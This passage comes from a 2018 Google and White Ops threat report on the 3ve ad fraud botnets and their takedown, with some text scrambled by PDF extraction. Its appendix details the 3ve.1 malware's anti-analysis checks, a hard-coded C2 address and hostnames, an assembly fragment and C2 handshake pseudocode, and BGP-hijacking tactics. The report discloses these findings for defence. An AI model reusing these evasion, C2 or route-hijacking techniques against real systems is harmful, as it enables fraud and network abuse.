# The Hunt for 3ve ### Taking down a major ad fraud operation through industry collaboration #### November 2018 ### Co-authored by Google and White Ops with technical contributions by Proofpoint and others ----- ### Table of Contents ##### Foreword ..................................................................................................................................... Page 03 Acknowledgements.................................................................................................................. Page 04 Context and background.......................................................................................................... Page 05 A novel and innovative ad fraud threat .................................................................... Page 05 3ve in a nutshell ........................................................................................................................ Page 06 Operation summary .................................................................................................... Page 06 Discovery and history .............................................................................................................. Page 07 A low-level botnet quickly evolves............................................................................. Page 07 Our knowledge and collaboration expanded .......................................................... Page 07 The 3ve operation ..................................................................................................................... Page 08 3ve.1 ............................................................................................................................... Page 11 3ve.2 ............................................................................................................................... Page 12 3ve.3 ............................................................................................................................... Page 13 Taking 3ve down ....................................................................................................................... Page 14 The industry working group ....................................................................................... Page 14 Indication of a successful takedown........................................................................ Page 14 Uniting the industry against future attacks ............................................................ Page 15 Appendix ..................................................................................................................................... Page 17 3ve.1................................................................................................................................ Page 17 Operating as a proxy in user’s PCs ....................................................................... Page 17 Network communication ....................................................................................... Page 19 3ve.1 C2 handshake ................................................................................................ Page 20 BGP hijacking ........................................................................................................... Page 21 3ve.2 ............................................................................................................................... Page 23 Counterfeit websites................................................................................................ Page 23 Hidden Windows....................................................................................................... Page 27 Fake Browsing Behavior ......................................................................................... Page 27 Mouse movements ................................................................................................. Page 27 Patching functions .................................................................................................. Page 28 Playing media ........................................................................................................... Page 29 Tag evasion ............................................................................................................... Page 30 Non-counterfeit domains browsing ..................................................................... Page 30 C2 Instructions.......................................................................................................... Page 30 Parameters explained........................................................................................ Page 33 Geographic distribution........................................................................................... Page 34 Infected IPs and churn rate ................................................................................... Page 35 3ve.3 ............................................................................................................................... Page 35 ----- ### Foreword Every year brings new levels of sophistication and innovation in cybercrime, and the last year was no exception. Over the course of last year, we investigated one of the most complex and sophisticated ad fraud operations we have seen to date. We named this operation “3ve” (pronounced “Eve”), and we’re sharing what we’ve learned from our investigation into its activity with the broader community to promote collaboration in the ongoing fight against cybercrime. These efforts demonstrate how effective cooperation and collaboration across the digital advertising industry can be in curbing ad fraud. 3ve operated on a massive scale: at its peak, it controlled over 1 million IPs from both residential botnet infections and corporate IP spaces, primarily in North America and Europe (for comparison, this is more than the number of broadband subscriptions in Ireland). It featured several unique sub-operations, each of which constituted a sophisticated ad fraud scheme in its own right. Shortly after we began to identify the massive infrastructure (comprised of thousands of servers across many data centers) used to host 3ve’s operation, we found similar activity happening within a network of malware-infected residential computers. These diversified tactics and siloed operations made 3ve’s operators harder to identify than previous operations we’d encountered, and also allowed the larger fraud enterprise to continue when one aspect of it was disrupted. Through its varied and complex machinery, 3ve generated billions of fraudulent ad bid requests (i.e., ad spaces on web pages that advertisers can bid to purchase in an automated way). 3ve’s size and tactics are considerable for an ad fraud operation, but the fact that fraudsters dedicate their time and effort to developing complex ad fraud schemes is hardly a surprise. Ad fraud has been an attractive cybercrime due to its lucrative returns and relatively low risk. The primary risk for most fraudsters has been having their operation discovered and shut down. While that can cost fraudsters thousands – and sometimes millions – of dollars in illicit profits, the prospect of purely financial losses has not effectively deterred fraudsters from simply starting another operation. Today marks the culmination of a collaborative effort that enabled us to more thoroughly confront and dismantle 3ve. We referred our findings to law enforcement, and today the U.S. Department of Justice announced criminal charges tied to 3ve’s operations. What followed was a collaborative and coordinated effort by both law enforcement and various companies across industries, including ad tech, cyber security, and Internet service providers, to disable the infrastructure and sinkhole botnet command and control servers. The result so far has rendered the operation’s botnets unable to continue to drive fraudulent ad traffic. Protecting the many targets – including our customers – of an operation like 3ve in the context of a multi-stakeholder working group required patience, dedication, diligence, and endurance. Our core objectives were to detect and prevent this fraud on behalf of our customers and Internet users, and to cut this operation off from its sources of profit. While ad fraud continues to represent a challenge to the advertising industry, the action taken today demonstrates that it is a risky activity with potentially serious consequences for fraudsters. And our efforts won’t stop here — we’re confident that the industry-wide movement to protect the integrity of the digital advertising economy will continue on. **Tamer Hassan** Co-Founder & CTO, White Ops **Per Bjorke** Senior Product Manager, Google ----- ### Acknowledgements This research was conducted by a team of dedicated security professionals. We would like to thank Kafeine from ProofPoint and the teams at ESET and Malwarebytes, as well as Matt Carothers, F-Secure, Symantec, and Trend Micro for their collaboration, contributions, and camaraderie in this effort. We would also like to thank all of the participants in the industry working group: Adobe, Amazon Advertising, CenturyLink, ESET, Facebook, Fox-IT, F-Secure, Matt Carothers, McAfee, Microsoft Digital Crimes Unit, Oath, Symantec, The Shadowserver Foundation, The Trade Desk, Trend Micro, and others. Last but not least, we would like to acknowledge and thank the broader members of our respective teams at Google and White Ops, as their work was critical every step along the way. _Please note that we’ve aimed to strike a balance in this document in terms of sharing technical information that has_ _utility and excluding additional information that is too sensitive to share publicly. We encourage ad fraud researchers_ _and other information security professionals to contact us at threatintel@whiteops.com for additional information_ _that we may be able to disclose on a case-by-case basis._ ----- ### Context and background The world of data science and cybersecurity is nothing like detective work in the movies. Usually, fraudulent activity is identified, traced to its source, and then cut off — and that’s where the vast majority of cases end. Rarely does corporate ad fraud prevention lead to criminal charges, but that is exactly what happened with 3ve. 3ve first emerged as a small bot-driven effort that subsequently grew into a large and sophisticated operation. As we investigated and battled against it, we began to better understand the operation and its aggressive evolution — and realized there were several operations with some common characteristics. Through our fight, we found ourselves on a path of discovery, exploration, and what some might describe as adventure. Today, digital advertising is primarily bought and sold through “programmatic” platforms. Publishers agree to feature ads alongside their content and use Supply Side Platforms (SSPs) to auction their available ad space, or inventory, to advertisers. Advertisers use Demand Side Platforms (DSPs) to bid on that available ad space based on how successful they think those ads will be in generating the interest of visitors. These auctions happen billions of times a day, in the milliseconds before a page loads on your browser, and inventory can be passed between many auctions before being matched with an advertiser who wants to place their ad on your screen. The ability to sell and purchase digital advertising inventory programmatically has enabled publishers to maximize revenues and advertisers to realize a greater return on investment. Subsequently, programmatic advertising has rapidly evolved and grown into a multi-billion dollar industry, increasingly gaining prominence and visibility across the digital advertising ecosystem. Unfortunately, this increased prominence has also attracted the attention of tech-savvy fraudsters, who try to produce fake traffic and fraudulent ad inventory to trick advertisers into believing that their ads are being seen by actual, interested users. These fraudsters attempt to extract small amounts of money from multiple parties and transactions with the goal of making the losses appear unconnected — if they’re successful, in aggregate, these extracted amounts can add up to considerable profits for the fraudsters. Because operations like 3ve bring distrust and instability to the digital advertising ecosystem, we were as thorough as possible in our efforts to bring it down. In the twists and turns that followed, we learned valuable lessons about the tactics and approaches fraudsters try to use to escape the notice of both their victims and those trying to uncover their operations, and the signals that will tip us off to similar operations in the future. #### A novel and innovative ad fraud threat 3ve was typical of many ad fraud operations in that it generated revenue by selling forgeries of two major assets in high demand from advertisers: human audiences and premium publisher inventory. But because 3ve was uniquely effective at counterfeiting the domains of prestigious publishers and sending droves of bots to false inventory, it was able to generate a substantial volume of fake ad bid requests. 3ve also operated at a high level of sophistication that appeared to be a series of unrelated operations. Its operators constantly adopted new ways to disguise 3ve’s bots, allowing the operation to continue growing even after their traffic was blacklisted. Whenever they were blocked off in one place, they’d reappear somewhere else. #### 3ve was typical of many ad fraud operations in that it generated revenue by selling forgeries of two major assets in high demand from advertisers: human audiences and premium publisher inventory. ----- on third party verification solutions like White Ops and in-house defenses like those implemented by Google. Collectively, our teams have seen a wide range of botnet schemes, ad fraud tactics, and invalid activity. ### 3ve in a nutshell investigation into 3ve, connect all of its disparate sub-operations and components to a larger infrastructure, and reveal how sophisticated and well-organized these operation were. ## 700k Active infections at a time ## 1k+ Data center nodes ## 3b+ Daily bid requests ## 60k+ Accounts selling ad inventory Operation summary ## 1m Compromised IPs ## 10k+ Websites counterfeited _Peak metrics, including ad traffic volumes and other volumes observed over the course of 3ve’s investigation._ Advanced techniques used to avoid detection Mimicking human behaviors including mouse movements, faked clicks, etc. Tag evasion Ability to quickly regenerate residential IP addresses Malware anti-forensics No single point of failure (e.g., fixed IP list) _3ve used a variety of techniques that made it more difficult to identify and analyze._ ----- ### Discovery and history #### A low-level botnet quickly evolves We first noticed the beginnings of what would later become 3ve while our two companies were assessing the impact of the Methbot operation, a similar underground ad fraud enterprise that White Ops revealed in 2016. At this early stage of 3ve’s growth, it appeared to be a low-volume bot operation conducting ad fraud through residential computers infected with an unknown malware. Far from being groundbreaking, it looked like a run-of-the-mill malicious bot with minimal impact on the industry at large. noting that 3-12 billion is a small percentage of overall bid request volume across the industry #### Our knowledge and collaboration expanded Although we were able to identify the traffic from the operation, our visibility into its full capabilities was limited until we discovered malware samples that matched what we’d seen from 3ve’s bots. This led us to two malware families: Boaxxe/Miuref and Kovter. #### We estimate that 3ve generated between 3 billion and 12 billion or more daily ad bid requests at its peak. But 3ve’s activity grew in 2017, with its operation eventually generating billions of daily ad bid requests. That spike in activity prompted our two companies to begin collaborating in investigating the malware being used by this newly prominent fraud enterprise. We estimate that 3ve generated between 3 billion and 12 billion or more daily ad bid requests at its peak. The lower bound (3 billion) is a conservative estimate based on how many ad bid requests a single buying platform may have received. This approach may underestimate the total volume of ad bid requests generated by 3ve, because each individual buying platform may not have received all ad bid requests (e.g. one DSP may not have had a business relationship with all available supply partners or a DSP may only have received portions of available inventory from some supply partners). When measuring 3ve’s ad bid volume across the supply chain (and not only within a single buying platform) we estimate that the ad bid volume exceeded 12 billion daily ad bid requests. It should be noted that our analysis of ad bid requests indicated growth in activity, but not necessarily growth in transactions that would result in charges to advertisers. It is also worth We gathered malware samples from fellow fraud researchers at Proofpoint and Malwarebytes, but each time we tried to run them on our own computers, they wouldn’t work. After some deep collaboration with ProofPoint and Malwarebytes, we discovered that this was because the malware was using anti-forensics, an evasion tactic in which malware scans a computer’s processes, hardware, username, and IP address for any security software that might detect it before running on that computer. The malware was also only receiving and executing ad fraud instructions on computers with certain ISPs and in specific geographical locations. Subsequently, we were able to observe and gradually understand 3ve’s inner workings. That process progressively revealed the presence of more malware and botnet families being used by 3ve. We started referring to the bot operation as 3ve because our analysis suggested that it was composed of three distinct sub-operations, all of which shared certain similarities, but were specifically designed to commit different kinds of ad fraud. We observed the network using tactics like #### We started referring to the bot operation as 3ve because our analysis suggested that it was composed of three distinct sub-operations, all of which shared certain similarities, but which were specifically designed to commit different kinds of ad fraud. ----- noticed that it had started to quickly change its codebase after each spike in its activity. #### We had to ensure that the operators thought they were going unnoticed in order to observe them and apply our learnings to future security efforts. The actors responsible for the three sub-operations of 3ve demonstrated a high level of sophistication, creativity, and agility. In response, we needed to figure out a way to permanently disable it or shut it down. One way to bring down bot operations is to blacklist all of their known IP addresses. However, because of the operation’s aggressiveness, as well as its ability to rapidly ### The 3ve operation would only temporarily interrupt 3ve’s activity. To take it down permanently, we needed to understand how 3ve was structured and organized, we had to ensure that the operators thought they were going unnoticed in order to observe them and apply our learnings to future security efforts, and we needed to expand our effort beyond Google and White Ops. As 3ve’s perpetrators were building the infrastructure behind their operations, we secretly started building a coalition of partners working to stop them. Over the following weeks and months, White Ops, Google, and various other industry participants together to dismantle 3ve. A typical ad fraud operation tries to keep its profit model simple, targeting only one aspect of the digital advertising ecosystem. For example, fraudsters will commonly create and sell bot traffic to unsuspecting publishers looking to get more eyes on their content. At least two of the three 3ve sub-operations used such tactics and also added another common approach: selling counterfeit ad inventory featuring the domains of popular websites “spoofed” by 3ve’s operators. Domain spoofing is designed to fool advertisers into thinking that an impression of their ad was served on a premium publisher site, like that of a noteworthy newspaper (and not on an empty website designed for bot traffic). - • • • • • • • • • Watch More Funny Movies on FilmPhileWatch Live TV on FilmPhileClosed CaptioningAmerican Sis - Sibling Rivalry - FilmPhileWatch This Season’s Comedy on FilmPhileHere’s What Happened on American Sis - The Secret Society of Super Sisters - FilmPhileTurned - All Is Not Gone - FIlmPhileCD League - Semifinals/Grand Final - FilmPhileSearchHelp _An example counterfeit site shows a low-quality web page with a video ad and links below._ - • • • • • • • • • Watch More Funny Movies on FilmPhileWatch Live TV on FilmPhileClosed CaptioningAmerican Sis - Sibling Rivalry - FilmPhileWatch This Season’s Comedy on FilmPhileHere’s What Happened on American Sis - The Secret Society of Super Sisters - FilmPhileTurned - All Is Not Gone - FIlmPhileCD League - Semifinals/Grand Final - FilmPhileSearchHelp ----- unique measures to avoid detection, and each built around different architectures using different components. Like a fully professional software company, 3ve’s operators had the ability to A/B test different approaches, as well as different parts of the bot operation, in order to insulate themselves from the fallout if one part was somehow cut off or shut down. Although the degree of complexity varied among the three sub-operations, all three demonstrated highly advanced behaviors, including the impersonation of real human users, tag evasion, and sophisticated malware-based anti-forensics. |Col1|Overall 3ve operations|Col3|Col4| |---|---|---|---| ||3ve.1|3ve.2|3ve.3| |General Description|Data center based bot with botnet and hijacked IPs|Botnet based counterfeit ad fraud|Data center bot| |Monetization Approach|Mostly counterfeit inventory (including counterfeiting mApp) with fake pages and apps hosted in data centers. Indication of some traffic selling.|Mostly counterfeit inventory with fake pages hosted in data centers. Indication of some traffic selling.|Indications of traffic selling, and unable to determine if they also create counterfeit inventory.| |Ad Request IP Address|The residential IPs of botnet infected computers or from BGP hijacked IPs|The residential IPs of botnet infected computers|Data center IPs| ----- One of the three sub-operations included one of the larger active botnets, with up to 700,000 active desktop infections at any given time. One of the other 3ve sub-operations was by itself similar in size and scope to the Methbot operation of 2016, which was likely the largest known ad fraud operation at that time. All told, 3ve controlled over 1 million IPs from both residential botnet infections and corporate IP spaces (as noted above, there were up to 700,000 active infections at any given time). In aggregate, the operation also produced more than 10,000 counterfeit domains, and generated over 3 billion daily bid requests at its peak. We estimate that portions of the bot operation spanned over 1,000 servers in data centers allocated to various functions needed for this type of large-scale operation. Despite 3ve’s scale and aggressive growth, we worked proactively to deploy countermeasures in order to protect customers and to diminish the chances that 3ve’s operators could benefit from their activities. Our collective experience in combating ad fraud enabled us to establish a variety of defenses against 3ve, while we worked in parallel to dismantle it. The sections below provide a brief overview of all three 3ve operations (called 3ve.1, 3ve.2, and 3ve.3 for the sake of clarity), breaking down how each was structured to circumvent bot detection and blocking measures in order to siphon as much ad budget as possible. Expanded details and context for the sub-operations are included in the Appendix. Real Human Traffic Progammatic Supply Chain **Ad Networks** **Advertisers** Sell ad space to Win auctions to deliver Demand Side Platforms ads on webpages. and directly to advertisers. **Everyday People** Create real ad space by visiting real web pages. Fake or Non-Human Traffic 01 01 01 **1,000+** Real and fake web pages create ad space that **Ad Fraud Operator** **3ve Botnets** is sold in programmatic **Supply Side Platforms** **Demand Side Platforms** supply chain. Uploads instructions Open thousands of web Sell ad space to Submit bids on behalf to 3ve botnets. browsers, disguise traffic, and Demand Side Platforms of advertisers to visit fake and real web pages. in real time. purchase ad space. _An overview of the broader 3ve operation_ ----- The first of 3ve’s three ad fraud sub-operations, 3ve.1, was powered by a network of bots all operating in a few data centers across the US and Europe. Normally, bot operations like these are very easy to detect — if you see a lot of traffic for an ad coming from the same IP address, you know you’re dealing with a bot farm. But this operation cleverly used compromised IP addresses as a proxy, making it seem as though its ad requests were coming from computers in homes and businesses in sought-after markets. While many of these IP addresses were acquired via a malware called Miuref or Boaxxe, others were obtained using a procedure called Border Gateway Protocol (BGP) hijacking. The hackers essentially seized huge swaths of corporate and residential IP space by interfering directly with the main Internet routing protocol. All the fake ad requests from 3ve.1 initially pretended to be from desktop browsers, but this changed over time, with the operation increasingly relying on spoofed mobile traffic. This was done by the data center-based browsers pretending to be Android devices. There were two unique, active mobile misrepresentation schemes: in one the ad requests were spoofed to look like they came from mobile apps, in the other the ad requests were spoofed to look like they came from mobile browsers. The spoofing was achieved by overriding the parameters typically used to determine what type of device the traffic came from. **1,000+** Ad fraud operator writes The data center computers The command and control relays Those fake web pages generate instructions and uploads it open thousands of web direct the data center browsers ad requests to receive ads from to their data center botnet. browsers and contact a to proxy their traffic through the programmatic supply chain. command and control relay. infected devices or hijacked IPs and visit fake and real web pages. _3ve.1 architecture_ ----- Comparable to 3ve.1, 3ve.2 also used counterfeit domains to sell fake ad inventory to advertisers. But instead of relying on proxies to hide its activities, 3ve.2 used a custom-built browsing engine installed with the Kovter botnet, which had infected hundreds of thousands of computers through malvertising campaigns (malvertising is the use of digital ads to distribute malware). This operation had similarities with 3ve.1 (although 3ve.2 was superior in its level of sophistication) that initially led us to believe they might be variants of each other, but later research suggested they were distinct, but connected sub-operations. Recent evaluations of the Kovter botnet have put it at approximately 700,000 user computers and IP addresses. 3ve.2 made use of redirection servers that instructed the infected computers to visit specific fake web pages. Fraud Operator sends Kovter infected computers Infected computer opens Web pages generate ad instructions to command receive instructions hidden browsers and visits requests to receive ads and control server. from command and a fake web page (via from the programmatic control server. a redirect server). supply chain. _3ve.2 architecture_ ----- The third 3ve-associated sub-operation was similar to the others in that it registered its ad fraud bot networks under different IP addresses in order to hide their activity. Like 3ve.1, 3ve.3’s bots were based in a few data centers, but it used the IP addresses of other data centers instead of residential computers to cover its tracks. Again, data centers are far more suspicious to advertisers worried about bot traffic, but 3ve.3’s strategy still allowed its operators a good degree of agility by allowing them to find new data centers as soon as old data centers were blocked. Although easier to detect, this approach allowed them to commit ad fraud more efficiently — data centers can offer greater bandwidth than hundreds of thousands of residential computers. **1,000+** Ad Fraud operator The data center computers The command and control relays Those fake web pages writes instructions open thousands of web direct the data center browsers generate ad requests to and uploads it to their browsers and contact a to proxy their traffic through data receive ads from data center botnet. command and control relay. center IPs and visit fake and real the programmatic web pages. supply chain. _3ve.3 architecture_ ----- ### Taking 3ve down With each detail we uncovered about 3ve and its inner workings, it became clearer that a typical blacklisting effort would only cause portions of the operation to momentarily go offline, giving 3ve’s operators a chance to reset a short time later. 3ve’s sheer size and complexity posed a significant risk not just to individual advertisers and publishers, but to the entire advertising ecosystem. We had to shut the operation down for good, which called for greater, more calculated measures. To that end, it was critical that we played the long game, endeavoring to have a more permanent, more powerful impact against this and future ad fraud operations. To dismantle 3ve and prevent its return, collaboration was needed from major partners across the digital media space, from web publishers to anti-virus companies. Although a technical takedown was necessary, historically technical measures alone have not always been sufficient to prevent a recurrence in the past. A takedown combined with prosecution would more fully disrupt the criminal organization and serve as a deterrent to similar activity by other actors. Taking this approach meant spending time collectively researching and investigating the operation, allowing us to map out its infrastructure, its monetization strategy, and its major components. #### The industry working group It was this conclusion that prompted the creation of the industry working group, which included a variety of stakeholders including White Ops, Google, 15 other major industry parties, and members of the information security community. This working group used the diverse expertise of its various partners to analyze and understand 3ve. The success of the working group can largely be credited to the wide range of perspectives and skill sets represented by its participants. The diverse vantage points and indispensable insights of key ad tech companies and several ISPs were instrumental in understanding 3ve’s impact, while anti-virus specialists worked to understand the malware that was written and installed onto residential computers as a way to provide cover for the botnet’s data centers. Our investigation and analysis of 3ve was expedited by this cross-functional collaboration with industry partners. #### Indication of a successful takedown A coordinated takedown of infrastructure related to 3ve’s operations occurred recently. The takedown involved disrupting as much of the related infrastructure as possible to make it hard to rebuild any of 3ve’s operations. Technical takedowns like these require detailed understanding of the internal aspects of the fraud operations and extensive collaboration across many companies from various parts of the industry. As the graph below demonstrates, declining volumes in invalid traffic indicate that the disruption of infrastructure thus far has been successful, bringing the bid request traffic close to zero within 18 hours of starting the coordinated takedown. Our sincere gratitude and appreciation to everyone involved with this takedown effort. One of the working group’s main goals was collaborative intelligence. The working group spent months observing 3ve’s activities, working to build an invaluable technical approach to identifying and defending against similar threats in the future. #### The working group spent months observing 3ve’s activities, working to build an invaluable technical approach to identifying and defending against similar threats in the future. ----- 12:00 AM 12:00 PM 12:00 AM 12:00 PM 12:00 AM 12:00 PM Time _Incoming 3ve.2 bid requests (via OpenRTB protocol)_ #### Uniting the industry against future attacks Whenever a major ad fraud operation like this is uncovered, it serves as a wake-up call to those involved in digital advertising. Not only is it necessary to reinforce traditional guards against ad fraud, but three critical tactics need to be adopted to account for the rapidly evolving capabilities of automated threats like 3ve. 1. Create and adopt industry standards like ads.txt — The industry is working on new tools to protect itself from ad fraud. Ads.txt was created by the IAB Tech Lab to help prevent domain spoofing by allowing publishers to create public files of “Authorized Digital Sellers.” These files make it easy to see which parties are authorized to sell that publisher’s ad inventory. Adoption of ads.txt has been very strong: to date over 500,000 domains have published ads.txt files. As more sell- and buy-side platforms continue to roll out their enforcement and advertisers opt to only buy inventory from domains with ads.txt files, the potential for fraudsters to profit from selling counterfeit inventory will be minimized. 2. Be mindful and proactive about ad fraud — There are a number of heuristics that advertisers can use to ensure that whatever ad fraud solution they have in place is working. One good rule of thumb: if it seems too good to be true, it probably is. That means if you start implementing an anti-fraud solution that decreases your fraud rate, but doesn’t cause your CTR to drop with it, it’s likely that your solution isn’t quite working correctly. Similarly, your ad fraud rate should be changing over time, as there is inherent variability in traffic volumes. 3. Use a layered methodology for fighting ad fraud — Much of our experience with 3ve demonstrates just how good bots have become at imitating human users. Advertisers and publishers should therefore take a layered approach to bot traffic and ad fraud detection, using both in-house defenses and third-party verification to look for all the indicators of bot-controlled computers. ----- in the graph below, more than 80% of the incoming ad bid requests that 3ve generated in early 2018 were unauthorized (‘unauthorized’ in this context means that the bid requests were offered for sale by sellers that were not listed as authorized sellers in a domain’s ads.txt file) . If all ad tech companies and advertisers enforced ads.txt and stopped buying or selling unauthorized inventory, over 80% of all 3ve inventory would be completely blocked across the entire industry.. ads.txt status for 3ve traffic 8.6% Authorized (Direct) 11% Authorized (Indirect) 80.3% Unauthorized _ads.txt status for recent 3ve traffic_ 3ve’s takedown represents two important milestones for the digital advertising industry: First, it demonstrates the power of industry collaboration in confronting sophisticated ad fraud operations. Second, that law enforcement action sends a clear message that committing ad fraud can have significant consequences, which is likely to discourage would-be cybercriminals. Curtailing ad fraud is not only good for the digital advertising ecosystem, but also the billions of people who rely on the Internet to be a safe place where they can access services and information that add value to their lives. We believe that both the intelligence we’ve gained from 3ve, and subsequent law enforcement action, should make it riskier and harder for similar operations to profit in the future. ----- ### Appendix We’ve included the sections below to expand on the details and context provided for 3ve’s three sub-operations in the main body of this document. #### 3ve.1 The first of 3ve’s three ad fraud sub-operations, 3ve.1, was a hybrid operation, and was itself composed of three main layers: an army of bots in multiple European data centers, a layer of exit nodes (the IP addresses that the ad requests appear to originate from) comprised of malware-infected user computers or stolen corporate IP space, and a command and control (C2) layer that directed the malware and ad fraud bots on every transaction. This sub-operation was primarily focused on video fraud, selling counterfeit video inventory to advertisers on counterfeited domains. This layered architecture allowed the operators to keep their bot software isolated, proxying all activity through both infected user computers and through IP space stolen from corporations via Border Gateway Protocol (BGP) hijacks. Acquiring IP addresses this way is significant because it constitutes a particularly blatant form of fraud, used to corrupt large groups of IPs by interfering directly with an exterior routing protocol. If one of these stolen IP addresses was detected as the source of fraudulent activity, it was easily burned and recycled, while the same bots continued running in the data centers behind it. The operation’s ability to continuously find new IPs through which to proxy gave it a layer of protection and isolation, avoiding any “single point of failure” that could allow us to easily eradicate it. The ad fraud bot operation was comprised of Miuref/Boaxxe infected-computers. This bot farm largely relied on Chrome and Internet Explorer. While the number of IPs hijacked from corporations ranged from 200,000 to 500,000 at any given time, the malware infection footprint appears to have remained at less than 5,000 infections across the globe. Operating as a proxy in user’s PCs Whenever the 3ve.1 binary was executed, it would start collecting specific information about the PC on which it was running. Among other things, the binary would read the Computer Name, Volume Serial Number, Machine GUID, the full path of the running process (in this case, c:\test\ eve.exe), and time zone. Then, it would build a hash table of known programs that are typically used by analysts. Finally, it used the typical CreateToolhelp32Snapshot/ Process32NextW to enumerate all running processes and cross-reference them with the hash table. 3ve.1’s binary did the same thing with device drivers, checking for the presence of VMs, remote access software (LogMeIn), CD-ROM type, etc. If anything went wrong, it would sleep forever without executing any fraud-like requests. While running all these checks, it would also copy itself to other locations and drop a new binary file into C:\Users\...\AppData\Local\ VirtualStore\lsass.aaa. All this information would be appended to a big string, which was RSA-encrypted (with a hard-coded key) and sent to the server. To be clear, the first message included both the user info and the RC4 key, and was encrypted with an RSA public key. If the C2 confirmed that it was safe to start executing commands, the following messages would be quickly encrypted with RC4 using the previously generated RC4 key. ----- pn:C:\Test\eve.exe un:davidcopperfield cn:DESKTOP-1Z8V3O1 cpu:1,1,Intel(R) Core(TM) i7-6600U CPU @ 2.60GHz sk: uwomanrx (RC4 Key used for future communication) _Message sent and encrypted for 3ve.1 to start executing commands._ After encryption Before encryption and encoding ↓ FRO ------- ↓ FRO ------ ƒÑ]8γ ☻ ╬á♦í N E p 9 3 E 3 S h q S V b I k H u : x x x x x x x x x 6 4 a 7 % 2 b g C Q t n G 8 K 4 8 b J w 2 2 0 5 4 c 8 c 2 8 8 8 e f 9 3 K 0 g Q T l g f 2 G m 6 V u q N b b ◙o : 6 . 2 . 9 2 0 0 ◙b : 5 O E k 4 4 M q J 5 L F u x k s 6 4 ◙a : 0 ◙c : 1 ◙v: 1 0 0 6 m i r o c I Q p h D 9 9 8 V p ◙s : 0 ◙r : 1 ◙1 : 2 0 0 0 ◙ W H u 8 H W 1 C 5 3 y M 2 O 1 O d : 1 2 ◙n : 5 ◙c p : 1 0 ◙c o R m w t 3 6 G i 7 h q Z e 3 Y r : f 0 5 4 6 e 2 8 ◙b t : 1 d F b I v u X J W o r s W o y F % 2 2 5 e c . f 1 c 7 f a 1 0 ◙p 2 f u U u s 7 D c n J N a s Y 1 n : C : \ T e s t \ e v e . e x S k v 8 B n B u f p h v W 1 c O e ◙u n : m X X X X X a c o c n O K v 8 m W d V L G Y 6 Q 0 z 7 : D E S K T O P - 1 X X X X 0 1 3 f h W z i 4 4 r K y J I d x d ◙c p u : 1, 1, I n t e l ( R d a k d A h i W U % 2 b v E m j ) Core (TM) i7-66 e r y z Y L V O L i J A 0 3 % 2 00U CPU @2.60GH f k J G N 5 1 G v B D T r n 0 4 z◙½½½½½½½½ MYnpx4rxLpXkw9nb _3ve.1 messages before and after encryption and encoding._ ----- 3ve.1 used three different sets of APIs to communicate with its C2 servers. The first request was done by instantiating an Internet.Explorer COM Application and using its Navigate2 method to generate a GET request to http://185.118.67.195 (the IP was hard-coded and encrypted inside the binary). Instantiates Internet.Explorer.Application and Navigates ; CODE XREF: Create_InternetExplorer_COM=15↑j push **edi** **; pvReserved** call **ds:CoInitialize** lea **eax, [edp+ppv]** push **eax** **; ppv** push **offset riid** **; riid** push **4** **; dwC1sContext** push **edi** **; pUnkOuter** push **offest** **rclsid_Internet_Explorer ; rclsid** call **ds:CoCreateInstance** **[...]** call **dword ptr [ecx+OD Oh] ; iexplore.Navigate2** mov **esi, ds:GetTickCount** call **esi ; GeTickCount** mov **[edp+psz], eax** _CoCreateInstance that instantiated the Internet.Explorer CLSID and spawn a windowless iexplore.exe process._ The above CoCreateInstance would instantiate the Internet.Explorer CLSID {0002DF01-0000-0000-C000 **000000000046}, spawning a windowless iexplore.exe process, then would use its Navigate2 method to send the** encrypted PC data to their C2 server. We were able to easily pinpoint the instantiated COM by searching the CLSID in the registry. The search returned quickly, showing us that it belonged to Internet Explorer. Internet.Explorer.Application Registry Key _Instantiated COM registry location within Internet Explorer_ ----- from its own process. However, at this stage, it would set different flags using the InternetSetOptionA — this was probably a measure used to bypass the local proxy. All these wininet calls were not visible in the PE import table because they were loaded at runtime via kernel32.dll LoadLibrary/GetProcAddress. The communication from this point on would be channeled exclusively through the low-level Windows Sockets 2 API. This both gave 3ve.1’s operators more control and bypassed the local proxy. 3ve.1 C2 handshake The binary had several hard-coded (but encrypted) hostnames inside. For example, there was an array of servers named **[d].winsrw.com where the first digit would change from 1 to 5. Once the malware was sure it had Internet access (by** sending a couple of requests to microsoft.com), it would get the IPs of those servers using the gethostbyname function. Finally, it would connect to them using the Windows socket API. Then, 3ve.1 would send the same user/PC information to one of the winsrw.com servers, expecting to receive an “OK.” But the server is pretty selective, and checks several things before accepting: for example, Windows language/locale information should be English, and the IP must be in the US range. The pseudocode below describes better how this works — just keep in mind that both the request and response are always encrypted. Client (Malware) **Socket->Connect(Get_IP(2.winsrw.com))** **Repeat Every 30”** **Socket->Send(PC_INFO)** **If (Response == “OK”)** **Start_Ad_Fraud (and stop checking every 30”)** Server (C2 from *.winsrw.com) **If (PC_INFO == REAL_PC AND IP_LOCATION == US)** **Response->”OK”** **Response->MORE_COMMANDS** **Else** **NO_REPLY** _Pseudocode describing 3ve.1’s C2 handshake_ As described above, the C2 replies back an OK if the user information matches what they consider a valid PC and if the IP is in the US. ----- The Internet is composed of many independent networks (referred to as “Autonomous Systems,” or ASs, each assigned a unique identifier called an ASN), all tied together via something called “Border Gateway Protocol” or (BGP). Through BGP, these networks are able to build a globally shared “routing table” that allows them to easily determine how any one IP address can connect to any other. The problem is that BGP was designed during a more innocent time for the Internet, when it was small and everybody trusted each other. While some improvements to security have been made over the years, it still primarily relies on trust — and the implied threat of being cut off if one misbehaves. But people who attempt to game this system won’t be cut off if no one notices or cares about their misconduct, and there are still a lot of unused and forgotten IP addresses out there that criminals might use to mask unscrupulous activity. This presents an opportunity for bad actors to do something known as “BGP hijacking.” One group of such actors came to our attention in early 2017. The BGP hijacking operation used by 3ve had been set up long before we started seeing it used for fraud on a non-trivial scale. Historical routing data shows the core AS “ALPHA” used in the beginning of the operation came online in 2013, while the low-volume, low-sophistication bot activity White Ops has seen only dates back to 2015. The routing setup was simple: just the core ALPHA AS and a few directly attached networks, connected via a single transit provider. We are uncertain whether the IP space they were using was legitimately obtained or not, but the goal of phase 1 seems to have been to establish some history for ALPHA before it started doing shady things. ##### IPs IPs Defunct ASN 1 IPs IPs Defunct ASN 2 ASN Alpha Transit IPs IPs Defunct ASN 3 _Initial 3ve.1 BGP hijacking operation structure_ In early March of 2017, ALPHA began to abuse its position of trust within BGP. They chose defunct ASs that had been inactive for quite some time and set them up behind their own AS. IP addresses were required to make this useful, so they found some IP networks that weren’t being used and began advertising them from the defunct (now zombie) ASs. ALPHA was very careful about which entities it decided to impersonate — many still had functional (though badly out of date) websites. In many cases, ALPHA chose ASs formerly used by Internet service or hosting providers, along with IPs used by companies that were from the same geographic region. The next stage of evolution came in late August. AS BRAVO came online (also in Eastern 